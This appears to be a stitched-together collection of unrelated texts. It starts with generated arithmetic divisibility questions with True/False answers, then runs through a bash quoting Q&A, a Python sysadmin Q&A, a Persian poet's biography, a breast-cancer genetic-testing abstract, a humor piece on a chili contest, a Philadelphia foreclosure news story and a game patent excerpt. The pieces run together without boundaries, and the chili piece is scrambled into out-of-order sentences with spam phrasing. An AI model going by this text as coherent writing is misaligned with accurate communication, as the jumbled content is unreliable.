Is m a multiple of 10? False Suppose 5*r - 5*l - 450 = 0, -r + 3*l = l - 90. Does 10 divide r? True Suppose 0*h + 3*h + 4*m - 463 = 0, 0 = -4*m - 20. Suppose -7*y = -2*p - 2*y + 151, h = 2*p - 3*y. Suppose p + 84 = 4*b. Does 16 divide b? False Suppose -4*i + 156 = 4*l, -4*i + 0*l + 147 = l. Does 16 divide i? False Let n be 173/(-7) - (-4)/(-14). Suppose -2*r = 5*f - r - 204, -161 = -4*f - 3*r. Let q = n + f. Is q a multiple of 8? True Let r(l) = l**2 - 4*l + 2. Let k = -1 - -3. Suppose 8 = -4*z, 7*f = k*f + 5*z + 40. Is 14 a factor of r(f)? True Let w = 7 + 14. Is w a multiple of 16? False Let h = -25 - -76. Is 9 a factor of h? False Let o(q) = q**3 - 5*q**2 + 3*q - 14. Is 7 a factor of o(7)? True Let f be (5 - (-1 + 1))*1. Suppose -f*v = -148 - 117. Does 25 divide v? False Let f(i) = i**2 - 15*i + 14. Let l be f(14). Suppose -5*a - 4*z = -2*z - 48, -4*a - 2*z = -38. Suppose -j = -l*j - a. Does 4 divide j? False Let h(j) = -j**3 + 8*j**2 - 7*j - 2. Is 7 a factor of h(6)? True Let m = -26 - 24. Let k = m + 14. Let s = -23 - k. Does 9 divide s? False Suppose -p = -2*d - 86, -4*p + 140 = 5*d - 243. Let m = p + -42. Is 25 a factor of m? True Let w(n) = -3*n - 4. Let v be w(-3). Suppose 5 = v*x, 2*c - 1 - 6 = -x. Is c even? False Let r = -2 - 9. Let u(l) = l + 26. Does 9 divide u(r)? False Is (-21 - 1)*(0 + (-3)/3) a multiple of 7? False Suppose -o + 12 = -9. Is 3 a factor of o? True Let o(c) = 30*c**2 - 3*c + 1. Does 28 divide o(1)? True Let m(z) = z**2 + z + 4. Is 19 a factor of m(8)? True Let i(d) be the first derivative of -d**2/2 + 3*d - 1. Let g be i(4). Let o = g + 15. Does 5 divide o? False Suppose 2*x = -8, -3*t = -0*t - 5*x - 38. Does 6 divide t? True Let z(b) = -12*b + 2. Let f(m) be the second derivative of -10*m**3 + 11*m**2/2 - 3*m. Let r(j) = -2*f(j) + 11*z(j). Is r(-2) a multiple of 8? True Suppose -k - 5*j + 0*j + 250 = 0, -5*k + 4*j + 1134 = 0. Let d = -149 + k. Does 27 divide d? True Let p be (-3)/3*(-1 + 5). Let b(j) = -7*j - 4. Is 12 a factor of b(p)? True Suppose -18 = 5*s - 3*a - 1232, 3*a = -3*s + 714. Is 21 a factor of s? False Let n(f) = -f**2 - 16*f - 11. Does 17 divide n(-14)? True Suppose -4*d - 3 = 5. Is (-61 + 5)*1/d a multiple of 14? True Suppose -2*u + 80 = -0*u. Does 19 divide u? False Let h(u) be the third derivative of -u**5/60 - 2*u**4/3 + u**3/6 - 10*u**2. Is h(-11) a multiple of 20? False Suppose 5*w = 7*d - 3*d - 16, 4*d - w - 16 = 0. Is d a multiple of 4? True Suppose 4*d - q - 13 = 0, 5*d + 2*q + 15 = -3*q. Suppose d*k - 22 = k. Is 7 a factor of k? False Is 2/(-3) + 282/18 a multiple of 15? True Let y be (-94)/(-18) + 6/(-27). Suppose 15 = -0*z - y*z. Let a = 11 - z. Does 14 divide a? True Let k(t) = -2*t**3 - t**2 + 2. Let c be ((-3)/(-6))/((-2)/8). Is k(c) a multiple of 7? True Let d = 21 + -8. Let w = d - 1. Does 4 divide w? True Suppose 0 = -3*h + 130 + 23. Does 5 divide h? False Suppose 2*z = k - 18, 5*k - 19 = 3*z + 36. Suppose k = 5*a - 7. Suppose -16 = a*d - 5*d. Is 4 a factor of d? True Suppose m - b = -m + 11, -9 = -3*b. Is 2 a factor of m? False Let y(l) = l**2 - 4*l + 4. Let x be (8/10)/((-2)/(-5)). Suppose 5*j = -2*k + 4 + 1, -x*j - 22 = -4*k. Is 9 a factor of y(k)? True Let r = -1 + 2. Let i be 2/(2/(-4) + r). Suppose -80 = -4*o - i*v, -2*o + v = -0*v - 28. Is o a multiple of 14? False Suppose 4*w + 3 - 8 = 5*j, -2*w + 3*j + 1 = 0. Suppose -t - g - g + 18 = 0, 5*t - 90 = -w*g. Is 14 a factor of t? False Let l(q) = 310*q + 279. Let p(z) = z + 1. Let w(o) = -2*l(o) + 558*p(o). Let u be w(-1). Suppose -4*t + 35 + 21 = 4*j, 5*t = 3*j + u. Is 13 a factor of t? True Let v(u) = 6*u + u + 8 - 5 - u**3 - u**2 + 7*u**2. Let w be v(7). Suppose -5*i + 3*i + 26 = w*a, -2*a + 2*i = -34. Does 4 divide a? True Suppose 275 = 7*x - 2*x. Does 23 divide x? False Let r(f) = f**2 - 7*f + 6. Let n be r(4). Let p be -1*(n + 3 + 2). Let i = p + 2. Is i a multiple of 2? False Let a = -5 - -5. Suppose 5*l - 2*y - 58 = a, 2*y = -5*l + 5*y + 57. Suppose -3 - l = -t + 2*j, -3*t - j + 24 = 0. Does 9 divide t? True Suppose 5*z = -31 - 14. Is z/(3/(-24)*6) a multiple of 12? True Let y(k) = k**3 - 17*k**2 + 11*k - 13. Is 29 a factor of y(17)? True Let o = -184 + -166. Let x be (o/6)/((-7)/21). Suppose -5*g + 4*j + 135 = -0*g, -4*j = 5*g - x. Does 14 divide g? False Let u(f) = -30*f

National Popular Vote The national popular vote proposal is an interesting approach to changing the 222 year old way we elect US Presidents.The idea is to have a compact between states totally more than 50% of the electoral college. We would all agree that we would allocate all of our electoral votes to… Share this: Secretary, Washington State Department of Children, Youth, and Families. Formerly Director, WA State Dept. of Early Learning, State Representative for the 48th legislative district and a long-ago Microsoft exec.

Q: Output of array as comma separated BASH I'm trying to pull variables from an API in json format and then put them back together with one variable changed and fire them back as a put. Only issue is that every value has quote marks in it and must go back to the API separated by commas only. example of what it should see with redacted information, variables inside the **'s: curl -skv -u redacted:redacted -H Content-Type: application/json -X PUT -d'{properties:{basic:{request_rules:[**"/(req) testrule","/test-body","/(req) test - Admin","test-Caching"**]}}}' https://x.x.x.x:9070/api/tm/1.0/config/active/vservers/xxx-xx Obviously if I fire them as a plain array I get spaces instead of commas. However I tried outputting it as a plain string longstr=$(echo ${valuez[@]}) output=$(echo $longstr |sed -e 's/" /",/g') And due to the way bash is interpreted it seems to either interpret the quotes wrong or something else. I guess it might well be the single ticks encapsulating after the PUT -d as well but I'm not sure how I can throw a variable into something that has single ticks. If I put the raw data in manually it works so it's either the way the variable is being sent or the single ticks. I don't get an error and when I echo the line out it looks perfect. Any ideas? A: valuez=( "/(req) testrule" "/test-body" "/(req) test - Admin" "test-Caching" ) # Temporarily set IFS to some character which is known not to appear in the array. oifs=$IFS IFS=$'\014' # Flatten the array with the * expansion giving a string containing the array's elements separated by the first character of $IFS. d_arg="${valuez[*]}" IFS=$oifs # If necessary, quote or escape embedded quotation marks. (Implementation-specific, using doubled double quotes as an example.) d_arg="${d_arg//\"/\"\"}" # Substitute the known-to-be-absent character for the desired quote+separator+quote. d_arg="${d_arg//$'\014'/\",\"}" # Prepend and append quotes. d_arg="\"$d_arg\"" # insert the prepared arg into the final string. d_arg="{properties:{basic:{request_rules:[${d_arg}]}}}" curl ... -d"$d_arg" ...

Q: where can i find python tutorials for doing linux tasks I want to learn python to do some linux system administartion but on internet i find basic python tutorials . they don't teach anything with linux in mind but general python. is there any pdf which can teach me how do linux things like backup , restore , mysql backups , log files processing in python A: I like the O'Reilly book Python for Unix and Linux System Administration A: take a look at Popular recipes tagged "sysadmin" on ActiveState. They are not tutorials in PDF but once you know Python you can learn a lot reading the source of recipes.

Fereydoon Moshiri Fereydoon Moshiri (; September 21, 1926 – October 24, 2000) was one of the prominent contemporary Persian poets who wrote poems in both modern and classic styles of the Persian poem. A selection of his poems has been translated into English entitled With All my Tears by Ali Salami. Some of his other published works are as follows: 1957, Gonah-e Darya (The Sin of the Sea) 1958, Nayafteh (Undiscovered) 1960, Abr (The Cloud) 1970, Parvaz Ba Khorshid (Flying With the Sun) 1978, Bahar ra Bavar Kon (Believe the Spring) 1988, Ah Baran (Oh, the Rain) 2001, Ta Sobh-e Tabnak-e Ahura'ii (Until the Bright of Ahuric Dawn) Last years Moshiri had been suffering from leukaemia and renal failure for five years and died in "Tehran Clinic" hospital on October 24, 2000 at the age of 74. References External links Fereydoon Moshiri at Iran Chamber Society Fereydoon Moshiri's life Kooche by Darya Dadvar Koucheh (Alley), a poem written and read by Fereydoon Moshiri, (4 min 6 sec). Text: Koucheh. Category:Iranian poets Category:Persian-language poets Category:People from Tehran Category:1926 births Category:2000 deaths Category:Burials at artist's block of Behesht-e Zahra Category:20th-century poets Category:Iranian male poets Category:20th-century male writers Category:Deaths from cancer in Iran Category:Deaths from leukemia

Genetic testing in young women with breast cancer: results from a Web-based survey. Young women with breast cancer have an increased risk for harboring a BRCA1 or BRCA2 mutation. Frequency of genetic testing and factors associated with testing have not been well described in this population. We evaluated the rate of genetic testing among young breast cancer survivors identified through the Young Survival Coalition (YSC), an advocacy group for young women with breast cancer. Items regarding family history and genetic testing were included in a Web-based cross-sectional survey. A total of 701 women were eligible based on a history of breast cancer diagnosed < or =40 years. Mean age at diagnosis was 32.9 years and mean age at survey 35.7 years. About 41% reported a first- or second-degree relative with breast or ovarian cancer. About 24% had undergone genetic testing, and 26% of those tested reported that a mutation was found. By multivariate logistic regression, likelihood of having undergone testing was higher in women who were younger at diagnosis, were more educated, had a first- or second-degree relative with breast or ovarian cancer, had a mastectomy rather than breast conservation, and considered themselves at high risk for a cancer-predisposing mutation. Most women diagnosed with breast cancer < or =40 years do not undergo genetic testing.

Chilli is dating who We originally made this page before we knew the author of the story. JUDGE TWO: Exciting BBQ flavor, needs more peppers to be taken seriously. I'm not sure what I am supposed to taste besides pain. JUDGE TWO: A beanless chili, a bit salty, good use of red peppers. She said her friends call her "Sally." Probably behind her back they call her "Forklift." JUDGE ONE: Black bean chili with almost no spice. CAMERON: I felt something scraping across my tongue but was unable to taste it.On April 29, 2002, we received an E-mail from Kathy who gave us the author's name so we could give the proper credit. I had to wave off two people who wanted to give me the Heimlich maneuver. The barmaid looks like a professional wrestler after a bad night. Sally was standing behind me with fresh refills so I wouldn't have to dash over to see her.Cameron, in the mean time, slumped off the back edge of the stand spattering the pot of Chili #8 on himself, on Sally, and over the growing herd of wannabe rescuers of Sally, who was desperately fending off any number of helping hands.All the other Frisbee Contest dogs bounded over for the sudden chili feast adding further fuel and confusion to what would soon grow into utter pandemonium."Frank the Chili Tester was originally written by W. He is a humor columnist and writes the Cameron Column for the Rocky Mountain News in Denver, Colorado. She was so irritated over my gagging sounds that the snake tattoo under her eye started to twitch. When she winked at me her snake sort of coiled and uncoiled--it's kinda cute. Cayenne peppers freshly ground adding considerable kick. JUDGE TWO: Chili using shredded beef; could use more tomato.Please feel free to visit his website at: you'll find many more columns, though his personal favorite is "The Chili Taster."We wrote to Mr. She has arms like Popeye and a face like Winston Churchill. Must admit the cayenne peppers make a strong statement. Several spectators were injured in the gentlemanly rush to provide assistance. Barmaid pounded me on the back; now my backbone is in the front part of my chest. Good side dish for fish or other mild foods, not much of a chili. Everyone knows the routine by now and got out of my way so I could make it to the beer wagon. Staggering back toward the edge of the stand, Frank suffered what witnesses later described as a severe internal reaction to the combined chili and beer he had consumed with such gusto. With a sonic boom like sound, according to many observers, Cameron sustained an eruption of incendiary intestinal gas, which ignited one of the dogs still licking beer from the prostrate form of Sally. Search for chilli is dating who: Adding to the confusion, the fleeing horde hampered and impeded the arrival of various emergency and law enforcement personnel, who were therefore too late to prevent the most serious of Cameron's injuries as Sally thrashed him soundly about the head and shoulders.

Rat During my time with Tattoodo, I lost count of how many animal themed tattoo posts I managed to get published. I’d just think of any animal and scroll through Instagram to find the best tattoos of that animal. I’ve… Continue Reading →

Updated: 5:25 p.m. A Philadelphia judge has denied an emergency petition to postpone home foreclosure sales, despite pleas from legal advocates that the ongoing shutdown of the court system’s essential online services could put struggling homeowners at risk. Housing advocates argued people could unnecessarily lose their properties at sheriff’s sale due to the ongoing blackout of the First Judicial District’s e-filing system and website. But Court of Common Pleas Judge Arnold L. New denied their request for relief Monday without explanation, they told Billy Penn. The ruling means Tuesday’s auction for some 500 properties pending mortgage foreclosure remains on schedule. Nearly 1,000 other properties are also slated to hit the auction block for tax delinquency in the coming weeks. “We felt that our ask was reasonable in light of the extraordinary circumstances that the court is experiencing right now,” said Rachel Gallegos, a Community Legal Services attorney who filed the petition on behalf of the nonprofit Philadelphia Unemployment Project. The injunction sought to postpone all sales for the month of June, to give time for the system to be restored. As is, homeowners can not easily access their own court records or seek a postponement on foreclosure. “Everything is being done by paper and we’re worried people are going to lose their homes when they shouldn’t,” said John Dodds, executive director of the Philadelphia Unemployment Project, the nonprofit advocacy group that filed the petition. “Losing your home is one of the worst things that can happen to a family,” he said, adding, “There’s not going to be any great loss [to the sheriff] to postpone a month.” Last week, the sheriff’s department originally announced the June 4 sale would be postponed, but quickly reversed course. The department now says it must forge ahead with the sale until it hears otherwise from the courts. “Unless and until the Sheriff’s Office receives a court order to postpone any sales, they will be held as scheduled,” department spokesperson Dan Gross wrote in an email. When ‘don’t worry’ doesn’t cut it Gallegos said people are given 30 days notice of impending sheriff’s sale. Federal law guarantees homeowners an opportunity to petition to postpone the sale — but that process has been complicated by the complete shutdown of the court system over an alleged virus in some First Judicial District computers. At-risk homeowners can’t readily access their court records or file requests for postponement. Gallegos said she’s received promises that no properties will go to sale unless the legal notice processes have followed. Those verbal pledges mean little, she said. “We’re just being told ‘don’t worry, it will be taken care of,'” Gallegos added. “But that’s not a sufficient assurance when you’re talking about losing somebody’s home.” Vulnerable homeowners may reach out to Community Legal Services to seek a postponement, but some may not be aware of the option. In the two weeks since the courts’ electronic system went down, advocates have already found examples of orders that should have been signed and delivered to the sheriff in person, but were not, Gallegos added. Dodds, of the Philadelphia Unemployment Project, said it is not unprecedented for the courts to halt sheriff’s sales out of concern for homeowners.

1. Field of the Invention The present invention relates to a storage medium storing a game program, a game apparatus and a game controlling method. More specifically, the present invention relates to a storage medium storing a game program, a game apparatus and a game controlling method capable of recognizing the entire or a part of the imaged face of the user, and executing game processing on the basis of the recognition result. 2. Description of the Related Art One example of a related art is disclosed in Japanese Patent Application Laid-Open No. 2006-202181 [G06F 3/033, A63F 13/00, G06T 1/00, G06T 7/60] laid-open on Aug. 3, 2006. Image output device of this related art images a face of a user with two cameras, specifies a movement of the eyes by detecting the eyeballs and the iris from the facial image obtained by imaging, and changes a display region of an output image in correspondence with the specified movement of the eyes. However, in the image output device of this related art, since it is assumed that the face of the user is imaged, there is a possibility that due to detection of parts other than the eyes of the user, it is determined that the movement of the eyes are specified, and the display region of the output image may be changed. Accordingly, in a case that the related art is applied to a game played by operating the imaged image of the user, there is a problem that an operation with the imaged image of the user cannot be reflected on the game processing just as the user intended.